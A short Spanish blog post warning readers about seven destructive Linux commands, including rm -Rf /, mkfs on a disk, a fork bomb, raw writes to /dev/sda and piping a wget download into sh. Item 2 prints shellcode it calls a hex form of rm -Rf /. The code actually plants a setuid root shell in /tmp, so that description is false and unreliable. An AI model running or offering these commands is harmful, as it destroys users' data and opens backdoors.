Como asesinar cruelmente a linux…

El otro día leyendo un el post de luzalcuadrado a cerca de como usar el comando kill recordé que todos somos mortales incluso el buen linux un ejemplo de ello son estos 7 comandos que tomé de la página seguridadinformatica.es 

1. Comando:

# rm -Rf /

Este comando eliminará a la fuerza y recursivamente (incluyendo subdirectorios), todos los archivos dentro del directorio raiz.

2. Comando:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es la versión hexadecimal de [rm -Rf / ], con la cual podria engañarse incluso a usuarios linux mas experimentados.

3. Comando:

# mkfs.ext3 /dev/sda

Reformatea o elimina todos los archivos del dispositivo mencionado despues del comando mkfs.

4. Comando:

: ( ){:|:&};:

La ya conocida por muchos bomba fork. Este comando hará que tu sistema ejecute un elevado número de procesos, hasta que el mismo se “cuelgue”. A menudo esto puede acarrear perdida de datos.

5. Comando:

cualquier_comando > /dev/sda

Con este comando, se envian bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una perdida total de datos.

6. Comando:

wget http://fuente_de_origen_inseguro -O- | sh

Estamos descargando datos, posiblemente un script, de alguna fuente no muy confiable, e inmediatamente despues, estamos ordenando que se ejecute el archivo descargado. Nunca, nunca hagas esto.

7. Comando:

mv /home/tudirectoriodeusuario/* /dev/null

Este comando mueve todos los archivos dentro de tu directorio home, a un lugar que no existe, razón por la cual, nunca podras ver tus archivos de nuevo.

Gracias a seguridadinformatica.es por la info.